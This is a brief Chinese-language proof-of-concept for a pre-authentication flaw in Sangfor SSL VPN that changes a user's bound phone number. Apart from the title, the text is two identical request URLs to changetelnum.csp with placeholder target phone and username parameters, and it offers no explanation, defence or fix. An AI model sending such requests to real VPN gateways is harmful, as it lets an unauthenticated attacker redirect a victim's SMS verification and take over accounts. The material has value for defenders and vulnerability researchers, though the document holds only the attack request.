深信服 SSL VPN - Pre Auth 修改綁定手機漏洞
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POC
https://www.0-sec.org/por/changetelnum.csp?apiversion=1 newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1
https://www.0-sec.org/por/changetelnum.csp?apiversion=1 newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1